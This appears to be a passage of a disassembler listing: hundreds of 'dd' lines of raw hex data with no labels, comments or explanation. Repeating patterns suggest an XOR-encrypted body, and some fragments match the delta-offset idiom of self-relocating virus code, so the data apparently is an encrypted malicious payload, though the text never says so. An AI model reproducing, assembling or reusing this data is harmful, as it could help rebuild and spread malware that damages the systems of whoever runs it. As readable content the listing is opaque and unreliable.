		dd 0C28146D2h, 3A1A4359h, 9E9h,	0EC72C600h, 8765EE01h
		dd 0F28191FDh, 288359FDh, 32BB6660h, 0FE974h, 0F8C60000h
		dd 1E3A2AF8h, 0A23A6639h, 90FC5D66h, 13896137h,	18CBB966h
		dd 6604EB83h, 1779EE81h, 1E881h, 850F0000h, 0FFFFFFA7h
		dd 0CE9h, 2490D300h, 74C13858h,	2B540FB8h, 3EE853AEh, 32565DB1h
		dd 666ACF3h, 325655F3h,	3256ABB1h, 97AFD5B1h, 9AA3EAE9h
		dd 325675E8h, 3256BAB1h, 32565DB1h, 3256AEB1h, 325657B1h
		dd 3256ABB1h, 3256D5B1h, 3256EAB1h, 325675B1h, 3256BAB1h
		dd 32545DB1h, 3581AEB1h, 325757B6h, 3247ABA6h, 327CD5A9h
		dd 3256EA0Bh, 325677F7h, 0F27DB8F7h, 3EBFC1E7h,	4656AEB1h
		dd 0D2B5452Ch, 3E69F528h, 0B30DBFE4h, 271DDC68h, 325A9CF3h
		dd 3FF2BAB1h, 3B468E73h, 0F76A81BFh, 6ACB1CABh,	6006FBD0h
		dd 3256C658h, 73AF5B1h,	830E4E7Bh, 0DF52AD27h, 0DB26EE93h
		dd 97CAA1DFh, 34BF66BEh, 7456ABB1h, 0E00BE1B6h,	0A40EB012h
		dd 68CBE2D0h, 0B2C5DBE9h, 34BFF544h, 5456AEB1h,	0C0AB0316h
		dd 3D3736F2h, 6006B580h, 6A0CDBBEh, 68372BE3h, 41B42DE9h
		dd 3593C2Ch, 6006FCE1h,	6A0C66BEh, 34BF9ABEh, 3456D5B1h
		dd 0A04B1E76h, 680E2FD2h, 705629E9h, 0BCDFCDE2h, 0A813121Eh
		dd 5497FF7Ah, 0C0ABFF16h, 0C9F54F2h, 0DB50DA67h, 325675A5h
		dd 891C0F5Dh, 0A5406C69h, 1F4C335h, 0BDB83E41h,	99AC8EADh
		dd 53AF5E2Ch, 76DFB2EBh, 3ABF7195h, 1256BAB1h, 7E29C368h
		dd 6ACD0424h, 6CCBB4A3h, 161222D0h, 0DBCAB5B5h,	3256EABEh
		dd 4878DEAh, 0F05B1E86h, 3C5F4D62h, 5493929Eh, 0B37E9130h
		dd 3256AD58h, 0E67133B1h, 0AF9598CCh, 6A37AC3Ah, 6A0C8BBEh
		dd 35905EBh, 3D37CED1h,	6837870Eh, 3256F3E9h, 3256D5B1h
		dd 3256EAB1h, 325675B1h, 3256BAB1h, 32565DB1h, 3256AEB1h
		dd 325657B1h, 3256ABB1h, 3256D5B1h, 3256EAB1h, 325675B1h
		dd 3256BAB1h, 32565DB1h, 3256AEB1h, 325657B1h, 3256ABB1h
		dd 3256D5B1h, 3256EAB1h, 325675B1h, 3256BAB1h, 32565DB1h
		dd 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h, 3256EAB1h
		dd 325675B1h, 3256BAB1h, 32565DB1h, 3256AEB1h, 325657B1h
		dd 3256ABB1h, 3256D5B1h, 3256EAB1h, 325675B1h, 3256BAB1h
		dd 32565DB1h, 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h
		dd 3256EAB1h, 325675B1h, 3256BAB1h, 32565DB1h, 3256AEB1h
		dd 325657B1h, 3256ABB1h, 3256D5B1h, 3256EAB1h, 325675B1h
		dd 3256BAB1h, 32565DB1h, 3256AEB1h, 325657B1h, 3256ABB1h
		dd 3256D5B1h, 3256EAB1h, 325675B1h, 3256BAB1h, 32565DB1h
		dd 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h, 3256EAB1h
		dd 325675B1h, 3256BAB1h, 32565DB1h, 3256AEB1h, 325657B1h
		dd 3256ABB1h, 3256D5B1h, 0DA36EAB1h, 325675B1h,	0CEBC3BEBh
		dd 0BF5079F3h, 11EEB334h, 60D4DEB7h, 0BF508FF1h, 16EDCC33h
		dd 64D463B7h, 0DA5051F1h, 3256B3FFh, 32562659h,	70D469B1h
		dd 325073F1h, 6056ABB1h, 12175077h, 5A00ECAFh, 0AEFECDE3h
		dd 0C70F4Eh, 0B7DB5BAFh, 3477D660h, 0B7DF874Eh,	3448B8E4h
		dd 323ED1DBh, 5A56EAA1h, 325578F1h, 0E2A9BADBh,	469656EBh
		dd 70D42782h, 0BB5073F1h, 1616ED33h, 3F166CB7h,	0CADDEAB2h
		dd 98A5B582h, 5A52D0E3h, 32564DB1h, 3252AED9h, 0CD563DB1h
		dd 2C45FE23h, 0B0DF8FB7h, 3472AA27h, 70D3FED0h,	0F1509EF1h
		dd 0A3D49AD1h, 3250B0B0h, 0F55617B1h, 2C424A33h, 3246D5B7h
		dd 52958BB1h, 7214CF3Ah, 0DD5BC95h, 0B17529B1h,	4654BECEh
		dd 2229D4BAh, 0B158DFB5h, 0D8BDC176h, 3346AD76h, 0D95675B1h
		dd 22117D43h, 32565DB2h, 0F137475Ah, 52BADCE4h,	3256AB59h
		dd 0D8D78FB1h, 3472A940h, 72CCC73Ah, 77DDBC95h,	0B150D4B9h
		dd 16163433h, 0FB3753B7h, 5256AF73h, 3256D559h,	0D8D7B0B1h
		dd 347231A4h, 72C0083Ah, 806D5B95h, 3472EE2Bh, 0CDD6CC5h
		dd 8459743Ah, 75A0D4FEh, 36236AB0h, 30BDACB2h, 7115639Ah
		dd 1CDFD83Ah, 0BFDDA8AFh, 34487438h, 3B24738Ah,	37210C8Ah
		dd 0D9522C32h, 46994E78h, 0BBEB33B9h, 0D9504392h, 5295CF06h
		dd 32565759h, 0D8D7F1B1h, 347291DCh, 72C0503Ah,	32EF7395h
		dd 156BAB0h, 0B9FDAE71h, 16163833h, 0A8D4DEB7h,	53508FF1h
		dd 32BEB572h, 6856EAB1h, 76C19F30h, 0B790BC95h,	34487DF0h
		dd 5F6FC6E7h, 87A983AEh, 34489920h, 4A87503Ch, 0E2A9EC90h
		dd 323E25E3h, 5856BA31h, 70E4A2B1h, 0CD508AF1h,	5A0C0F61h
		dd 32562BB1h, 80A9D5DBh, 3472AA27h, 0F137A54Eh,	52BA31E4h
		dd 32565D59h, 0D8D7F4B1h, 34721354h, 0DA5EDE3Ah, 3256D729h
		dd 60C415E4h, 6F5051F1h, 475ACF8Ah, 30D0B55Fh, 0FB37AEB1h
		dd 67565F73h, 0F6D5473Ah, 6101834Dh, 3256EA59h,	0D8D72FB1h
		dd 3472FFA8h, 0B95E283Ah, 6401BECCh, 32566059h,	4696A0B1h
		dd 67AE5E90h, 7204784Eh, 90B7395h, 2022B6C4h, 0B248D6D7h
		dd 2CDC5E56h, 0DAA6B431h, 3256AD2Ch, 4FDF015Ah,	0CC0B024Dh
		dd 6D0D8A4Eh, 0CE1331EFh, 325A9F78h, 0B1BA25E4h, 6401AF75h
		dd 7791F8E0h, 3256D549h, 0B0D42DB1h, 335051F1h,	0B956BAB1h
		dd 0B93055C4h, 70EC25AFh, 0B95073F1h, 0E95DA3EEh, 0EC6DDAC5h
		dd 6FDDECC4h, 3E09FCBDh, 0D9427D32h, 2CDD3B5Bh,	3DBE5531h
		dd 32569935h, 0DBAD2BB1h, 329351BEh, 0C9D6EAB1h, 8ED27A5Ah
		dd 0B256BAB1h, 0B659BF4Ah, 3256AE1Dh, 3DB5AC31h, 32563135h
		dd 0C9D7B3B1h, 0B65909D6h, 32567529h, 54A65D31h, 0B259A630h
		dd 32C72ABEh, 0D1D657B1h, 42AD2B41h, 32D351BEh,	0B930EAB1h
		dd 0CAB5F5AFh, 46EE4131h, 3768DDF3h, 0CD693C5h,	0B26E239Ch
		dd 122C38Fh, 72D4574Eh,	0B930EC95h, 0CAB1F5AFh,	0B3AD3BD7h
		dd 54762959h, 0D5D6B03Ah, 0C9D73141h, 21226B30h, 0A0A980D1h
		dd 3472AAE3h, 0CE13FCECh, 0CE2B39D0h, 0B93528B0h, 2C573F0Bh
		dd 0B0DD07B7h, 3472EB33h, 6A66E988h, 88DDBAC3h,	34486150h
		dd 0B0D431E1h, 0B5079F1h, 4D0E9E8Dh, 0F546BC8Ch, 325453F4h
		dd 35BDD5B1h, 33AEAF76h, 0B95675B1h, 1616F80Bh,	3949D6B7h
		dd 949DA6Ah, 0B959226Fh, 4FD5A7ECh, 3122D549h, 0BBAEB7B2h
		dd 0F5D571EEh, 1B451A5h, 3296B471h, 0B930AEB1h,	3E2BDCAFh
		dd 46BD5031h, 0C2B555BBh, 46261131h, 0F4649EA7h, 759153B6h
		dd 32565DB0h, 0B19125B1h, 0A5BF5271h, 5456ABB1h, 3A59D276h
		dd 0D1D6F43Bh, 0B29DF5BEh, 0F557E539h, 32565FF6h, 0F5DDAEB1h
		dd 0D9509732h, 0CD7CDC8h, 3D224521h, 47C6D431h,	4CD713BFh
		dd 46C62A4Eh, 0B952B6B3h, 0BF094576h, 1616C933h, 0CD00FBB7h
		dd 16168323h, 4696E1B7h, 0BF9EFEBBh, 16162403h,	6446B6B7h
		dd 0CD03603Ah, 16160523h, 0FC7DF6B7h, 0B1080C46h, 475712CCh
		dd 981FC5A1h, 0B75902D7h, 8459F6D7h, 0D9FDAFF7h, 0CA2BD4AAh
		dd 5445DEB3h, 549FDE09h, 3DEE8C1Ah, 3DFD1335h, 9957FC07h
		dd 96A55F5Ah, 6B0D693Ah, 0F09F08EFh, 0B903ABB9h, 32BEB55Dh
		dd 6856EAB1h, 75219F30h, 77DDBC95h, 78D4D4B9h, 53508AF1h
		dd 32529578h, 0B1BA20E4h, 0DA362D75h, 3256EAB1h, 0AABCF4EBh
		dd 0F5509EF6h, 3256A5F4h, 7791AEB1h, 3256574Dh,	549698B1h
		dd 0B091CB3Ah, 3472AA33h, 325675B0h, 0A2AD3BD7h, 0B2562821h
		dd 0B659464Ah, 325656B9h, 0DBAD2BF1h, 32A851BEh, 0B216EAB1h
		dd 0B6599E4Ah, 3256BA45h, 0C2B1DDF1h, 3DAD2FD7h, 0D7D25831h
		dd 3156ABB1h, 2C562C33h, 0C9D6AAB7h, 0FCD27A53h, 0B256BAB1h
		dd 0B659BE4Ah, 3256AE0Dh, 55ADD6D7h, 88D2A452h,	0B256D5B1h
		dd 0C9D61A52h, 87D27AC1h, 5456BAB1h, 0D1D6433Ah, 8AAD2E49h
		dd 0CD610C5h, 0B214DFB4h, 0F22F88Fh, 463ED431h,	0B0A93589h
		dd 3472FA33h, 0B248D6D7h, 0B3305656h, 46BED64Ah, 2CDDCD95h
		dd 54A63231h, 0F2D71130h, 673662C5h, 7204284Eh,	0BB0B5B95h
		dd 0B13752F4h, 3D57ABCCh, 32578334h, 0A3EC5EB1h, 6250F4B0h
		dd 72D4F73Ah, 0E6FBC95h, 0B0590581h, 3256AFA0h,	26B7ED3Ah
		dd 0B906ADAFh, 16165733h, 26AD3B7h, 0C8D97AE9h,	0B956BAB1h
		dd 16161B0Bh, 74D42DB7h, 265073F1h, 75DF9C38h, 0B0DD85A1h
		dd 3472AA33h, 6A66693Ah, 0DB5EE538h, 32565D64h,	30AEEB76h
		dd 0D95657B1h, 0CA136CB6h, 3256D5B0h, 7210503Ah, 0B0D57395h
		dd 3472FAF7h, 0BB61D4A5h, 0CAD5BEF6h, 0F55A22B2h, 16162933h
		dd 3256D7B7h, 0B15301B1h, 6D2B7749h, 32AEC732h,	845946C5h
		dd 0B2FFAFF7h, 475657B1h, 0DAD5EBB7h, 1F5E3EB4h, 3256EA4Eh
		dd 0D9539D32h, 0A8DDE9BAh, 34721D33h, 6965AA3Ah, 32565718h
		dd 3142DE31h, 37965677h, 72D468B2h, 0BB1E7395h,	75DFB2F6h
		dd 0C500B6BDh, 0C5908569h, 3796D469h, 72D429B2h, 0BB1ED395h
		dd 75DFE2F6h, 1689EBDh,	33103071h, 1323DD19h, 0F2D568B2h
		dd 3257ECB3h, 0E95DABB1h, 0A8DCDCC5h, 347577F9h, 31579631h
		dd 3A113372h, 0D95A1A38h, 178E59A5h, 3256574Eh,	0EAA16D9Ah
		dd 0BB541532h, 75DFE2F6h, 0FB378DBDh, 0DEDDEF72h, 52AA9932h
		dd 3256AE59h, 0D8D70DB1h, 3472E218h, 72146F3Ah,	0FB65EC95h
		dd 3D564A32h, 32567835h, 0CD51D6B1h, 47A9A2C4h,	41BE07B9h
		dd 4156ABB0h, 269156B4h, 77DF085Ah, 3E238A4Dh, 0CD5ECF4Eh
		dd 330AB586h, 0B059AEB1h, 32565726h, 0BAAEE3Ah,	0BED4DAB6h
		dd 0CD56EAB1h, 4DD589F4h, 3A22BAB5h, 325A2232h,	3CBDACC5h
		dd 0CDA9A809h, 3253124Eh
		dd 99A5D5B1h, 4DD5295Ah, 3D2270A1h, 3446C532h, 0B9174CC4h
		dd 6DDDAAF6h, 0B915BCBDh, 6DDDAFF6h, 0B96F3EBDh, 6DDDEEF6h
		dd 3A094EBDh, 0B904AFC4h, 677D59E6h, 2603ADA1h,	195A083Ah
		dd 37BD286Bh, 0B9443EEBh, 6DDDEEF6h, 36095EBDh,	31535132h
		dd 2C52503Bh, 22292DB7h, 735722B2h, 6EDF729Ah, 0CDEED4B0h
		dd 8BA9154Eh, 325675B4h, 64BF1142h, 53A9A24Eh, 32466C78h
		dd 0B1BADCE4h, 0DA365775h, 3256D5B1h, 0A6BC6BEBh, 0B95051FBh
		dd 1616F80Bh, 0B19F6EB7h, 0B659AE8Eh, 32565720h, 47A9AC3Ah
		dd 3A232ABDh, 32DE02E1h, 372575B1h, 0D9427D32h,	0CE13D453h
		dd 0CD5ADB4Eh, 5A95FC4h, 3256DA59h, 0B93CA7B1h,	356F16F4h
		dd 77A916C3h, 3629394Dh, 0B15E29B1h, 4656A2CEh,	8A58BCB3h
		dd 0CDA9544Eh, 3256D008h, 0D9FD19B1h, 2229F67Ah, 0B159CEB4h
		dd 47504DCEh, 75DDEFA0h, 3E09DCB5h, 75DDB65Ah, 3E095EB5h
		dd 75DDF95Ah, 3E09FEB5h, 0B152E59Ah, 4DD5585Ah,	3323ADA1h
		dd 0BB8F7CF0h, 8A57AAEDh, 0CDA92A4Eh, 3256EF08h, 0D9FD86B1h
		dd 0F09FDB36h, 0B9035DB9h, 77DDCE5Dh, 3E136CB9h, 776DA3C3h
		dd 0CA55A2A1h, 0D9AFE95Ah, 0F09F14B1h, 0B903BABDh, 0CE92DE5Dh
		dd 325646D1h, 0B30C57B1h, 161DC15Bh, 19FE6B7h, 0CE0B636Ah
		dd 7214CF3Ah, 0DD5BC95h, 0B13229B1h, 3723518Eh,	0D9429032h
		dd 36292840h, 0B15EA1B1h, 4656E6CEh, 0CD5E9EB3h, 0F5D546F4h
		dd 0B18DB6A5h, 4653BECEh, 2229D4BEh, 7347DEB7h,	0B952923Ah
		dd 2FBDE6EEh, 0B952323Ah, 21BDB6EEh, 0B9521A3Ah, 6D7DA2EEh
		dd 37BDD4B5h, 3146D432h, 1917D4C4h, 330A6368h, 0CDA9CDB0h
		dd 37EF454Eh, 0C1565DB1h, 53C1451Ah, 0FBAA123Ah, 6107FB72h
		dd 3256D559h, 0D8D7B0B1h, 34723E44h, 720C203Ch,	56EE5B95h
		dd 0DA56AEB1h, 32565763h, 0F36DA03Ah, 7955C15Ah, 4097D1B5h
		dd 221D76A6h, 30247B8Ah, 26BD5F5Ah, 0A8DBBC5Ah,	34729B07h
		dd 3ABD784Eh, 0FD8A4F3Ch, 0E1A9EC95h, 0F10E2CEAh, 0DABA31E4h
		dd 32565DB1h, 76BC2FEBh, 525073FDh, 720C113Ch, 77DDD395h
		dd 0B95163B9h, 75DF79F4h, 221331B5h, 0B95A1A38h, 75DFBAF4h
		dd 0F09F36A1h, 0F436ABA1h, 2C769434h, 283EADB7h, 0CDFE62C2h
		dd 2C642B04h, 0E3D3D0B7h, 0CD508FC9h, 0B8DB0561h, 3472EB37h
		dd 68862AE0h, 72D0683Ch, 85597395h, 0EADDB6F1h,	686752E3h
		dd 0B0DF6DB2h, 34485EE8h, 5251C3D0h, 0E8h, 0EA815A00h
		dd 6244CB5h, 59828B52h,	0B9061E09h, 41C64E6Dh, 55AE1F7h
		dd 3039h, 0FFFFFF25h, 5982897Fh, 5A061E09h, 5251C359h
		dd 0E8h, 0EA815A00h, 6244CE5h, 0BBE8C88Bh, 33FFFFFFh, 8BF1F7D2h
		dd 0C3595AC2h, 0C08BC08Bh, 42F6858Dh, 0D0FF0624h, 8DC18B66h
		dd 244CAE85h, 9D858906h, 8D061E2Eh, 244CDE85h, 75858906h
		dd 0B8061E30h, 0
		dd 840FC00Bh, 47h, 204185C6h, 6856061Eh, 0A9C530DFh, 3291B5FFh
		dd 858D061Eh, 62178D1h,	8D50D0FFh, 1E1F998Dh, 46A5106h
		dd 100068h, 0C5B5FF00h,	0FF061E0Eh, 0C5BD8BD0h,	3061E0Eh
		dd 0C7813C7Fh, 0F8h, 202447C7h,	8D600000h, 1E31C99Dh, 0B038B06h
		dd 5840FC0h, 8B000000h,	4438900h, 234CF6B9h, 1E8D8D00h
		dd 8B06244Eh, 1E1B39B5h, 758D8906h, 8B061E23h, 88DE80F7h
		dd 324D85C7h, 6D68061Eh, 0F88B0000h, 316985C7h,	61Eh, 8D290000h
		dd 61E25E5h, 1CB18531h,	0B5FF061Eh, 61E327Dh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 0A5C35141h, 16B995FFh
		dd 13E8061Eh, 0EC000000h, 0BC0D1FBDh, 4169AD9h,	61F7BC83h
		dd 2B3AD99Ch, 8D0F84A4h, 6, 20B99D89h, 6A5A061Eh, 0C195FF00h
		dd 8B061E26h, 180EEBC0h, 0CEB84DA8h, 0E3A54313h, 53162391h
		dd 0FB8D8D00h, 0F06244Eh, 686h,	4DBD2B00h, 89061E21h, 1E23758Dh
		dd 90C88006h, 324D85C7h, 7008061Eh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 0F3826C3h
		dd 0BF4565D4h, 9E9h, 0E8060000h, 62301E73h, 85C7134Ch
		dd 61E3169h, 0
		dd 8840Fh, 8B520000h, 1E027185h, 0B5FF5806h, 61E32E5h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 99C35040h
		dd 8163F7FEh, 95819C8h,	0B995FF61h, 6A061E16h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 7DEEC353h, 0E852CFE0h, 4FF08E1Fh, 95FF006Ah,	61E26C1h
		dd 7FEBC08Bh, 2BE260A3h, 245FF62Ch, 0CCBB3A49h,	2DB757A4h
		dd 65E95B30h, 0C1251358h, 63A0195Fh, 0DADFCE2Ch, 0BA3046F3h
		dd 0FEA7FCBAh, 133BFEF5h, 42BE833Eh, 2A3A727h, 6B523873h
		dd 44F8F265h, 0A6236194h, 7A34A4DBh, 0F26DD6DFh, 8C3BD170h
		dd 1A27FFBDh, 12863CE5h, 2B5DCF71h, 93592911h, 0D05E3A6Ah
		dd 22550960h, 76789658h, 1FBCEBADh, 92DC2B72h, 5F4E4D8Eh
		dd 2BAB618Ch, 0A40052D7h, 8DD786BBh, 24506F8Dh,	60FA8B06h
		dd 2CFD8D89h, 0FC52061Eh, 8D89615Eh, 61E2375h, 2FBD9D89h
		dd 85C7061Eh, 61E324Dh,	64FCh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 0E2C35343h,	0ADF17EE9h, 88C62AECh
		dd 0B65BBE66h, 316985C7h, 61Eh,	89600000h, 1E2ED9BDh, 61F78B06h
		dd 1515B5FFh, 6A061Eh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 3686E8C3h, 7E84Bh, 0A6620000h, 68728E4h
		dd 9E8B5h, 0DE670000h, 0EFF48589h, 0E9D3472Ah, 14h, 0CAD34110h
		dd 12624605h, 697C6595h, 59132C76h, 56597255h, 880F5F5Ah
		dd 0
		dd 16B995FFh, 6A061Eh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 198B5AC3h, 95FF006Ah, 61E26C1h
		dd 0BEBC08Bh, 997AC67Ch, 0F5654427h, 8D5772B3h,	2451288Dh
		dd 19958906h, 0F061E1Dh, 881h, 2800F00h, 0B2000000h, 758D89D3h
		dd 0B8061E23h, 5EB8ECABh, 324D85C7h, 6878061Eh,	6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 2DE850C3h, 902D97ABh, 8B9A623Eh, 0D5858BF3h,	0C7061E02h
		dd 1E316985h, 6, 0B5B5FF00h, 89061E1Eh,	1E12A585h, 0BA666006h
		dd 0D98BF9A7h, 0B995FF61h, 6A061E16h, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 89F0C353h
		dd 1E039D9Dh, 0FF006A06h, 1E26C195h, 0EBC08B06h, 0C9825B3Dh
		dd 0CE18EBE9h, 2E6FCF33h, 0B0FD345Dh, 76A83BBDh, 8906D31Dh
		dd 838A46DDh, 4BDE59EAh, 0CBA69315h, 0A0F0D982h, 2348AB90h
		dd 859C0DFFh, 964DC6A9h, 0FF337E1Bh, 0C89AB39Dh, 8EBA0ABh
		dd 0
		dd 64888A2Dh, 506E9h, 52746800h, 1CE90624h, 68FFFA2Eh
		dd 62452EEh, 0FA2E12E9h, 547068FFh, 8E90624h, 0DCFFFA2Eh
		dd 0A259A47h, 334EC362h, 607BF0B1h, 88A318D9h, 8CCD42E7h
		dd 4BEE8F9Ah, 7A27BBD6h, 0A144EA05h, 0C76E112Ch, 0A0B65252h
		dd 3F492444h, 61F5D12h,	20E1C362h, 0F273B971h, 31B44D2Fh
		dd 1920FB70h, 9A213A58h, 0DDBF6203h, 2846F51Ch,	42DB4B12h
		dd 0D562FD3Fh, 0F6A50514h, 0AC42244Bh, 33065734h, 0C495DB78h
		dd 566E768Ch, 0A3E83306h, 503A38F4h, 2FF387E4h,	3D000003h
		dd 83B6A9D8h, 0EFD18C16h, 0D3E9072Eh, 3F42F34Eh, 0CD633D82h
		dd 306C198Ch, 0C44DD069h, 72424220h, 1D335178h,	3BBFC8B4h
		dd 0FC55377Ch, 16343Dh,	35A1FBDAh, 6302A5BEh, 9D11C081h
		dd 81213A58h, 8231F2D4h, 9A84B64h, 0A1415A94h, 525112F4h
		dd 67280AABh, 6F36B9B8h, 0AB3495ADh, 0CF5759E8h, 352h
		dd 42B762FFh, 6BE08127h, 9005AC50h, 0BA2FF675h,	0E65B1E9Fh
		dd 7A8B3A5h, 30D2ED62h,	71F51085h, 991C37ACh, 0C76363D8h
		dd 492533B1h, 966E233Fh, 0CFED86B3h, 3BFA7E97h,	0EDE99859h
		dd 3F49245Fh, 4B6482C7h, 9D9FB3A8h, 0ADC9EB8Bh,	0A0B9D786h
		dd 0CAE55A1Fh, 6001A825h, 0B496BD7Eh, 0FFDDC11Eh, 25C8E132h
		dd 35F87D7Ch, 0E4E39253h, 0FEDEA041h, 0D2F24588h, 2D848D0h
		dd 0FC850000h, 0BB1CC41h, 56DAF56Ah, 78FF1A8Fh,	842944B9h
		dd 392B6CE1h, 6FE4892Eh, 9E13CE54h, 0C93EE383h,	0F56A0BAEh
		dd 0A14359F5h, 0B53F4924h, 86B32800h, 9B5ADDF6h, 0E8FCF8B9h
		dd 0E33924D2h, 0FDBEA041h, 0FF1D4489h, 6A0BAEC7h, 248DBFBBh
		dd 0FE993F49h, 1F67F607h, 0B89AC107h, 0AC46E700h, 794E96h
		dd 9CC30833h, 7658059Dh, 0D60A06B5h, 0D6330078h, 8684F339h
		dd 3F87EA2Ah, 1D2h, 31F07389h, 7233B64Fh, 5A1722FDh, 0F033263Ch
		dd 0F00D3F42h, 90A24F4Ch, 0F453AAC8h, 0AD2AEBCDh, 857AFFCCh
		dd 12F41BDAh, 0FABB415Ah, 0ACA85718h, 33066F34h, 0D2A94078h
		dd 35F3784Dh, 71531295h, 57DA89B0h, 0D9A4A211h,	0CEE787E3h
		dd 33DB8A2Bh, 35h, 74D28017h, 8B6D34B4h, 35084DCAh, 0B3F5AD5Ch
		dd 0B9CFED86h, 3F42FE4Ch, 8F25074Ch, 3306A751h,	978BE5Bh
		dd 87E4000Bh, 0F3B2354Eh, 0F9A15011h, 0D8h, 31F07343h
		dd 6C31B64Fh, 0A74EF18Ah, 0A93B5189h, 0AD3924D2h, 3ED7B968h
		dd 0C3DCFABBh, 5CD18021h, 24D77A44h, 0C3620539h, 0B6C6734Eh
		dd 7658059Dh, 0CE2BB9B5h, 18A03924h, 42B67759h,	0B479FEFDh
		dd 2E596F8Dh, 0C43F4577h, 236E768Ch, 0FDDF3304h, 0C6495D60h
		dd 79FE1B8Fh, 596F8DB4h, 33046A8Bh, 63D786CBh, 0D5FCA146h
		dd 54199EB7h, 7E23C4DFh, 4A1612BCh, 18A0A2F2h, 156h, 4EC37E03h
		dd 77ECB533h, 0A419D85Ch, 0CE43E289h, 0FA6F32B3h, 3BBCC7B9h
		dd 5CE60176h, 6D112CA1h, 0B53853C8h, 0DB7777ECh, 49271FC5h
		dd 0AA82373Fh, 0A0BB3B54h, 0B9ADBFEDh, 16F81FD4h, 6A7A655h
		dd 50D3EE63h, 0F760849Ah, 0B1F63924h, 1E346C8Ah, 3924F7C6h
		dd 4CC07D05h, 0FE35807h, 4F31F073h, 0FD7233B6h,	4D631722h
		dd 3924D297h, 35537ABFh, 431F791Fh, 0FD829B3Fh,	0D0158938h
		dd 0DB617AB2h, 1C9F381Ah, 8BB27355h, 9558DDDCh,	19C45E77h
		dd 52C77637h, 685A63Ah,	40E5FE33h, 9B22BB9Dh, 6636B3DAh
		dd 48E7C64Ah, 0AC4F4EFDh, 0F0759005h, 70F60F2Dh, 0FD44A0B6h
		dd 0CD123305h, 5403C4A6h, 1AA1BA72h, 9B8795Bh, 891Bh, 86B3E900h
		dd 30B6CFEDh, 8AA0BE6Dh, 3F4923C6h, 0A8412368h,	0EBC80605h
		dd 8A6C31B6h, 710B4CC9h, 0D008264Dh, 32ABAh, 38E72C33h
		dd 5C05A8C3h, 0DFC1E47Ah, 0A4A195ACh, 6809AC5Eh, 8C55D8F3h
		dd 57D9F2AAh, 45EC8F8Eh, 51109796h, 0D45016Fh, 5325EDF7h
		dd 0B64C69D0h, 4168290Bh, 17C90F92h, 1E58CD94h,	0DBBD6005h
		dd 0B5E19D1Ah, 439E9DA1h, 7B129594h, 2B0D34FDh,	0DA3h
		dd 4AF20B00h, 5444FCABh, 49F8B93Bh, 0EE737E56h,	35B85133h
		dd 4DF18A6Ch, 952DC6A8h, 0C86D06E8h, 5AA4325h, 46E57E60h
		dd 8024BD9Fh, 0C666FFE1h, 68003D1Fh, 56EDh, 89241C89h
		dd 4C381E3h, 83000000h,	1C8704EBh, 5E685C24h, 89000072h
		dd 77682434h, 8900000Dh, 0B951240Ch, 18D92506h,	5688E181h
		dd 0E1810C22h, 1D175C28h, 4801E181h, 81414D52h,	0D34DBC9h
		dd 0BCC18177h, 5187171Ch, 32240481h, 5E559930h,	3032EE81h
		dd 81595599h, 4ECh, 24248900h, 4240483h, 4EC8359h, 89241489h
		dd 85189F2h, 2434FF5Ah,	4C48159h, 0FF000000h, 835E2434h
		dd 28E904C4h, 34FFFA29h, 0F98AF41Ah, 0B8DD3D7Ch, 62455EBh
		dd 0E0FFC503h, 12B7DB21h, 1E63FB07h, 2590658Bh,	5A49CE34h
		dd 1796C693h, 7881C5D7h, 3FC1346Ah, 79ABC1F6h, 5CC9267Dh
		dd 2D3228B8h, 791DFF9Eh, 4CB02E7Dh, 7FA40D0h, 4666A009h
		dd 0E68D165h, 1B73F0B8h, 577E5736h, 7E325E45h, 1491AA42h
		dd 4741239Ch, 0DB27DF0h, 606040Dh, 189DB7F7h, 13159628h
		dd 133C08EBh, 462Dh, 94E90000h,	6800000Bh, 62458C9h, 0FAED77E9h
		dd 59C468FFh, 6DE90624h, 68FFFAEDh, 6245B8Eh, 0FAED63E9h
		dd 5CCB68FFh, 59E90624h, 68FFFAEDh, 6245E68h, 0FAED4FE9h
		dd 5FE368FFh, 45E90624h, 68FFFAEDh, 624611Ah, 0FAED3BE9h
		dd 21EE7EFFh, 23D880D1h, 23D482D3h, 20D782D3h, 21D67FD0h
		dd 59920AD1h, 5AABFBFCh, 55A6F611h, 54A5F502h, 87A9F916h
		dd 0ACE6590Ah, 562E1AA9h, 62AFBBE9h, 86F9AA49h,	0CE1C8DFBh
		dd 6297BF10h, 56144931h, 0A15769B9h, 4FAD5E77h,	0D1A93E6h
		dd 67DEED4Fh, 6D1A93E5h, 0FCF57268h, 57E7E33Ah,	0DD9407B8h
		dd 1EDC1A93h, 5EE5EDh, 0FA980000h, 35A8590Eh, 291C8DFBh
		dd 8DFB0578h, 0CA8F4D1Ch, 5A4E54E5h, 9CF442CBh,	267A2B44h
		dd 2E1A9394h, 75AF2349h, 0D0212A54h, 0B4166E89h, 930F3EA5h
		dd 9364F21Ah, 0A16EFC31h, 59414A3Fh, 0F259849h,	0AF6D1A93h
		dd 0A8AD4857h, 0E86E29AAh, 0A5AEDFC0h, 8B2F28BDh, 21E7E2h
		dd 0D4000001h, 62AFBBh,	0D22D2C03h, 6C8BCAA1h, 21360D0Ah
		dd 0FBF96415h, 7B391C8Dh, 7285D223h, 0CCA3D410h, 8BFE4A9Eh
		dd 0F37F83C2h, 0E8409865h, 0F0195186h, 0D341D2D7h, 0B394CA47h
		dd 8E93AC82h, 360ED252h, 0A34D0A89h, 2035BB3Ah,	0FBAC5D8Eh
		dd 2B1C8DD1h, 3182D23Fh, 786ED039h, 0BB26D780h,	0FB1C8DC8h
		dd 92EA1544h, 0D182213Ah, 1C8DC86Eh, 18B7E8A6h,	93C41967h
		dd 0B8A0571Ah, 0C46ED182h, 0E8A61A93h, 9AF22E90h, 23ADAA81h
